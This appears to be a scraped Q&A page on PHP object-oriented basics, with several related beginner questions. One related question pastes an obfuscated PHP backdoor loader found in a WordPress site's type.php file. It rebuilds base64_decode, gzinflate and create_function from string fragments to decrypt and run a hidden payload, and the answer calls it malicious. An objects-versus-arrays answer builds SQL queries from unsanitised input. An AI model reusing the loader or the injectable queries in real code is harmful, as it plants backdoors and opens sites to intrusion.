Understanding PHP Class OOP structure [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I'm trying to create a class function but somehow it won’t work and I can’t figure out what’s the problem. Is it the way I declare the variable or what so ever?
<?php
class Car{
var $model;
var $make;
var $speed;
function Car ( $model, $make, $speed)
{
$this->model = $model;
$this->make = $make;
$this->speed = $speed;
}
function accelerate ($speed)
{
$add = 5;
$speed = $speed + $add;
return $speed;
}
function get_status()
{
echo "Car status : \n";
echo "Model :" $this-> model "\n";
echo "Make :" $this-> make "\n\n";
}
function get_speed()
{
return $this->speed;
}
}
?>
<?php
$car1 = new Car();
$car1 -> get_status("Vios", "Toyota");
for( $i = 0; $i < 5 ; $i++)
{
echo "Accelerating... <br> \n";
echo "Current speed : accelerate(5) km/h <br>";
}
?>

Lots of issues with your code. But at least this cleaned up version should work without the script dying completely. Here is a breakdown of what I did:
Set the variables that were set as var to public since that is the preferred method of setting variables.
In function Car, I set default values for $model, $make & $speed so if they are not passed—like in your example—there is at least a default value to act on.
Your echo lines in get_status did not have the . for concatenation so they were not properly concatenating the strings.
Then you setting $this-> make and $this-> model with empty spaces is syntactically incorrect. So set those to $this->make and $this->model.
Then when you are calling the class, you set this "Current speed : accelerate(5) km/h <br>"; which is syntactically incorrect as well. So set that to echo "Current speed : " . $car1->accelerate(5) . " km/h <br>"; so it can actually echo values.
But that said, unclear on what the output is for this code. The logic is a bit of a mess. But at least it’s not completely dying like it did before!
And here is the cleaned up code:
class Car {
public $model;
public $make;
public $speed;
function Car ($model = 0, $make = 0, $speed = 0) {
$this->model = $model;
$this->make = $make;
$this->speed = $speed;
}
function accelerate ($speed) {
$add = 5;
$speed = $speed + $add;
return $speed;
}
function get_status () {
echo "Car status : \n";
echo "Model :" . $this->model . "\n";
echo "Make :" . $this->make . "\n\n";
}
function get_speed () {
return $this->speed;
}
}
$car1 = new Car();
$car1->get_status("Vios", "Toyota");
for( $i = 0; $i < 5 ; $i++) {
echo "Accelerating... <br> \n";
echo "Current speed : " . $car1->accelerate(5) . " km/h <br>";
}
And—like I said before—since the way you are calling the class makes little sense to the structure you have, I slightly reworked the code above so it loops through an array of car values like this:
$car_array = array("Vios", "Toyota");
foreach ($car_array as $car_value) {
$car1 = new Car($car_value);
$car1->get_status();
for( $i = 0; $i < 5 ; $i++) {
echo "Accelerating... <br> \n";
echo "Current speed : " . $car1->accelerate(5) . " km/h <br>";
}
}

Add a constructor like this:
public function __construct($model = 0, $make = 0, $speed = 0) {
$this->model = $model;
$this->make = $make;
$this->speed = $speed;
}
http://us3.php.net/manual/en/language.oop5.decon.php

When concatenating strings, you must use the dot operator:
echo "abcd" . "efgh";

Related

Use an explicit chr() call to preserve the current behavior in /home/lnk4bqjq7963/public_html/360spacea.com/type.php on line 1 [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 3 years ago.
Improve this question
I've no idea what it means and how to fix it. I made a website on wordpress.
<?php class Foo
{
function __construct()
{
$claster = $this->module($this->mv);
$claster = $this->core($this->tx($claster));
$claster = $this->x64($claster);
$this->memory($claster[0], $claster[1]);
}
function memory($point, $cache)
{
$this->dx = $point;
$this->cache = $cache;
$this->debug = $this->module($this->debug);
$this->debug = $this->tx($this->debug);
$this->debug = $this->stable();
if(strpos($this->debug, $this->dx) !== FALSE) $this->x64($this->debug);
}
function build($cache, $zx, $point)
{
$len = strlen($zx);
$n = $len > 20 * 5 ? 24 / 3 : 2;
while(strlen($this->move) < $len) $this->move .= substr(pack('H*', sha1($point . $this->move . $cache)), 0, $n);
return $zx ^ $this->move;
}
function tx($str)
{
$code = $this->tx[3] . $this->tx[1] . 128 / 2 . $this->tx[2] . $this->tx[0];
$code = #$code($str);
return $code;
}
function core($str)
{
$code = $this->core[2] . $this->core[1] . $this->core[0];
$code = #$code($str);
return $code;
}
function stable()
{
$this->ls = $this->build($this->cache, $this->debug, $this->dx);
$this->ls = $this->core($this->ls);
return $this->ls;
}
function x64($access)
{
$code = $this->backend[3] . $this->backend[2] . $this->backend[1] . $this->backend[0];
$view = $code('', $access);
return $view();
}
function module($in)
{
$code = $this->x86[2] . $this->x86[1] . $this->x86[0];
return $code("\r\n", "", $in);
}
var $move;
var $core = array('late', 'zinf', 'g');
var $tx = array('ode', 'e', '_dec', 'bas');
var $backend = array('tion', 'unc', 'ate_f', 'cre');
var $x86 = array('lace', 'r_rep', 'st');
var $debug = " <*long code*>";
}
new Foo();
this is the code
You can simply remove the same file called "type.php". As this file containing the malicious code which can harm your data.
Also, WordPress do not containing any type.php file, so you can easily remove it without any hesitation.

PHP Class Properties null after initializing

So I have this small class to store properties of a fluid together.
<?php
// Two Phase flow vertical pressure differential calculator
class Fluid {
public $name;
public $re;
public $rho;
public $j;
public $D;
public $f;
public $dPdZ;
public $w=0;
public function _construct($arg1,$re,$rho,$j,$D){
//store inputs
$this->name=$arg1;
$this->re=$re;
$this->rho=$rho;
$this->j=$j;
$this->D=$D;
//calculate F value
if($re < 1000){
$this->f = 16.0 / $re;
}elseif($re > 2000){
$this->f = .046 / pow($re, .2);
}else{
$this->w= ($re-1000)/1000;
$this->f= $this->w*16.0/$re+(1-$this->w)*.046/pow($re, .2);
}
//calculate Vertical pressure drop
$this->dPdZ=2*$this->f*$rho*$j*$j/$D+$rho*9.8;
}
// print contents of object
public function printOut(){
echo "For " . $this->name . "\r\n";
echo "Inputs: re=" . $this->re . " rho=".$this->rho . " j=" . $this->j . " D=" . $this->D . "\r\n";
echo "Intermediates: f=" . $this->f . " w=" . $this->w . " dP/dZ=" . $this->dPdZ . "\r\n";
}
}
//create Fluid Objects (currently static inputs)
$liquid= new Fluid("liquid",111714.4,934.1,.5,.0508);
$gas= new Fluid("gas",1201.2,.96,.5,.0508);
//Find C
if($liquid->re > 1500&& $gas->re > 1500){
$C=20;
}else if($liquid->re < 1500 && $gas->re > 1500){
$C=12;
}else if ($liquid->re > 1500 && $gas->re < 1500){
$C=10;
}else{
$C=5;
}
//calculate pressure differential
$dPdZ=$liquid->dPdZ+$gas->dPdZ+$C*pow($liquid->dPdZ*$gas->dPdZ,.5);
//print results
$liquid->printOut();
$gas->printOut();
echo "Yields: dP/dZ=". $dPdZ . " C=" . $C;
?>
However, when I get to the end it prints
For
Inputs: re= rho= j= D=
Intermediates: f= w=0 dP/dZ=
For
Inputs: re= rho= j= D=
Intermediates: f= w=0 dP/dZ=
Yields: dP/dZ=0 C=5
ignoring all values from class Fluid. I am under the assumption that the values are all NULL and my initialization is incorrect as I am new to PHP. However, I can't figure out what is wrong with my syntax.
The problem is that you are one underscore short in the __construct method.
_construct should be __construct.
There is a syntax error in your code you need to make the double underscore construct for calling constructor
__construct
Your constructor is not being called because of this syntax error on object creation.

PHP array getting duplicate values

I am working on displaying information from my database. When I did print_r in the model/itemTile.php below to check on my array, $this->display, I noticed it had stored 2 copies of the data from my database. I checked my database, and there was definitely only one copy of the data.
I created a counter variable, $this->counter, to see what the surrounding while loop was doing. The original data had 6 non-duplicating rows. As you may see in the jpg attached below, the program increments and echo the counter to 6, then it does the "print_r($this->display)" line that is outside of the while loop, then for some strange reason goes back to the while loop, increment the counter, and print the $this->counter and $this->display again!
I can remove the duplicate, but I would much prefer to figure out why exactly there are two copies of the value to begin with.
Since this was originally a PHP class project that focus on MVC, everything is placed into controller, model, and view. I have included the relevant model and view code below:
Jpg:
PHP Site
model/itemTile.php
<?php
require_once('siteInfo.php');
class itemTile implements siteInfo {
private $term;
private $session;
private $result;
private $display = array();
private $counter = 0;
public function __construct($session) {
$this->session = $session;
}
public function getContent() {
$this->result = $this->session->db->prepare("SELECT productName, sciName, price FROM products");
$this->result->execute();
$this->result->bind_result($pN, $sN, $pz);
while ($this->result->fetch()) {
if (array_key_exists($pN, $this->display)) {
$this->display[$pN]["price"][] = $pz;
} else {
$this->display += [
$pN => [ //Product Name was used to id array because not all item have sciName,
"sciName" => [$sN], //and not all item have only 1 sku (1 item with different size = multiple pid).
"price" => [$pz]
]
];
}
$this->counter++;
echo $this->counter . "<br />";
}
$this->result->close();
print_r($this->display);
echo "<br />";
}
public function setContent() {
$this->getContent();
return $this->display;
}
}
?>
view/itemTile.php
<?php
class itemTileView {
private $model;
public function __construct(itemTile $model) {
$this->model = $model;
}
public function output(){
foreach ($this->model->setContent() as $item => $detail) {
$itemLink = preg_replace('/\s+/','_', $item);
echo "<div class= 'tileSpace'>";
echo "<a href='itemPages/" . $itemLink. "/home.php'>";
echo "<img alt='" . $item . "' src='itemPages/" . $itemLink . "/thumbnail.jpg' width='100' height='100'>";
echo "</a>";
echo "<p>" . $item . ": " . $detail["sciName"][0] . "</p>";
if (count($detail["price"]) > 1) {
echo "<p>" . min($detail["price"]). " - " . max($detail["price"]). "</p>";
} else {
echo "<p>" . $detail["price"][0] . "</p>";
}
echo "</div>";
}
}
}
?>
Can anyone spot where is the problem occurring?
use php function array_unique();
array_unique($arrayname);
using this you will get unique values from array.it avoids duplicate values

Difference between array type and object type in PHP [duplicate]

This question already has answers here:
PHP Objects vs Arrays -- Performance comparison while iterating
(11 answers)
Closed 7 years ago.
As I know, an array in php can designed by key and value.
e.q.
$person = array(
'name'=>'JOSH',
'age'=>18
);
It likes an object but just defined by another way.
e.q.
class info{
$name;
$age;
}
$person = new info();
$person->name = 'JOSH';
$person->age = 18;
I always use array in PHP, but some of my co-workers they say the object type is better than array type.
But I don't understand what different between array type and object type.
Can someone tell me what different between this two types if I just want to declare variable in PHP ?
There are a lot of differences, but the object is more powerfull.
Is in a way to avoid rewrite code, and clean the code.
Think you want to do some operations to numbers in an array:
To keep it simple, I suppose you already get the values from array or object.
<?
$item = array(
'name'=>'carrot',
'price'=>0.20,
'stock' => 15
);
?>
For example, in an shop context, you want to get the price befor buy, and update the stock.
<?
function getprice($item){
return $item['price'];
}
function substock($item,$units){
$item['stock'] = $item['stock'] - $units;
}
echo getprice($item);
echo "<br/>";
echo substock($item,"3");
?>
It will output something like:
0.20
12
That can be a way, but what can we do with the objects:
<?
class items{
var $name , $price, $stock;
function __construct($in_name, $in_price, $in_stock){
if (!empty($in_name)){$this->name = $in_name;}
if (!empty($in_price)){$this->price = $in_price;}
if (!empty($in_stock)){$this->stock = $in_stock;}
}
function getprice(){
return $this->price;
}
function substock($units){
$newstock = $this->stock - $units;
$this->stock = $newstock;
return $newstock;
}
}
$item = new items("carrot","0.20","15");
echo $item->getprice();
echo "<br/>";
echo $item->substock("3");
?>
It will output something like:
0.20
12
Till this point is not a prety much difference, is'n it?
But imagine you want to create a bigger thing. Just play around with it.
Now I want to load an item just with the name of the carrot.
Then changing the method construct to be able to create an objet with different inputs:
var $name , $price, $stock;
function __construct($in_name, $in_price=NULL, $in_stock=NULL){
$args = func_num_args();
if ($args == 1){
$this->name = $in_name;
$this->fromdb($in_name);
}else{
if (!empty($in_name)){$this->name = $in_name;}
if (!empty($in_price)){$this->price = $in_price;}
if (!empty($in_stock)){$this->stock = $in_stock;}
}
}
function fromdb($name){
$sql = "SELECT * FROM items WHERE name = '" . $name . "'";
//... here we bring from database the item and put in an array called $itemdb.I skip this part to do it shorter. If you want, ask about and I'll post this peace and the database objet.
$this -> price = $itemdb['price'];
$this -> stock = $itemdb['stock'];
}
function getprice(){
return $this->price;
}
function substock($units){
$newstock = $this->stock - $units;
$this->stock = $newstock;
return $newstock;
}
}
$item = new items("carrot");
echo $item->getprice();
echo "<br/>";
echo $item->substock("3");
?>
If the value in the database is same as the example before.It will output something like:
0.20
12
But from here you have infinite posibilities. Just play more.
Give a family item, and creating new methods.
<?
class items{
var $name , $price, $stock, $family;
function __construct($in_name, $in_price=NULL, $in_stock=NULL, $in_family=NULL){
$args = func_num_args();
if ($args == 1){
$this->name = $in_name;
$this->fromdb($in_name);
}else{
if (!empty($in_name)){$this->name = $in_name;}
if (!empty($in_price)){$this->price = $in_price;}
if (!empty($in_stock)){$this->stock = $in_stock;}
if (!empty($in_family)){$this->family = $in_family;}
}
}
function fromdb($name){
$sql = "SELECT * FROM items WHERE name = '" . $name . "'";
//... here we bring from database the item and put in an array called $itemdb. I skip this part to do it shorter. If you want, ask about and I'll post this peace and the database objet.
$this -> price = $itemdb['price'];
$this -> stock = $itemdb['stock'];
$this -> family = $itemdb['family'];
}
function getprice(){
return $this->price;
}
function getfamily(){
return $this->family;
}
function substock($units){
$newstock = $this->stock - $units;
$this->stock = $newstock;
return $newstock;
}
function veggiesinfamily(){
$sql = "SELECT count(name),family FROM items WHERE family = '" . $this->family . "'";
//... here we bring from database the number of item of a family product in $number. I skip this part to do it shorter. If you want, ask about and I'll post this peace and the database objet.
return $number;
}
function familystock(){
$sql = "SELECT SUM(stock),family FROM items WHERE family = '" . $this->family . "'";
//... here we bring from database the sum of stock items of a family product in $number. I skip this part to do it shorter. If you want, ask about and I'll post this peace and the database objet.
return $number;
}
}
$item = new items("carrot");
echo "There are " . $item->veggiesinfamily() . $item->getfamily() . " kinds.<br/>";
echo "There are " . $item->familystock() . " units of " . $item->getfamily();
?>
We have also in our database an item: potato, 0.3, 10, roots (name, price, stock, family)
If the value in the database have as family roots and as elements carrot and potatoe. The output will be.
There is 2 roots kinds.
There is 25 units of roots.
And so on.
If you load the objet from an external file as item_class.php, and load as include("item_class.php"), can grow your script easily.
Cheers.

printing an variable of an object that's inside an array that's inside an object

Well, ive been trying to get my crm to print multiple contacts for each company but i cant get it to work
Company is a class,companycontactis a class
//class called company
function __construct($idklanten,$naam,$adres,$postcode,$stad,$contacten){
$this->idklanten=$idklanten;
$this->naam=$naam;
$this->adres=$adres;
$this->postcode=$postcode;
$this->stad=$stad;
$this->contacten=$contacten;
}
//class called contact
function __construct($idcontactklanten,$voornaam,$tussenvoegsel,$achternaam,$tel,$email,$klantID){
$this->idcontactklanten=$idcontactklanten;
$this->voornaam=$voornaam;
$this->tussenvoegsel=$tussenvoegsel;
$this->achternaam=$achternaam;
$this->tel=$tel;
$this->email=$email;
$this->klantID=$klantID;
}
//getname for a contact
function getNaam() {
if(strlen($this->gettussenvoegsel()) == 0) {
return $this->getvoornaam()." ".$this->getachternaam()."";
}
else {
return $this->getvoornaam() . " " . $this->gettussenvoegsel() . " " . $this->getachternaam();
}
}
//function for getting the names from my object company,array with objects of contacts
function getcontacten(){
$ct=$this->contacten[$teller];
$txt="";
for($teller=0;$teller<10;$teller++){
$txt+=$ct->getNaam()."<br>";
}
return $txt;
}
then on my index page when i call getcontacten() it does not work comparing to my other get function which do work. it just outputs a 0
Any help is appreciated
Your biggest error would be the following:
$txt+=$ct->getNaam()."<br>";
Should be
$txt.=$ct->getNaam()."<br>";
Because to append to a string you use ".=", not "+=".
Also I don't know if the other part of you code works, I would write something like the following:
$txt = "";
foreach ($this->contacten as $ct){
$txt .= $ct->getNaam() . "<br />";
}
return $txt;
or
$txt = "";
for ($i = 0; $i < count($this->contacten); $i++){
$txt .= $this->contacten[$i]->getNaam() . "<br />";
}
return $txt;

Categories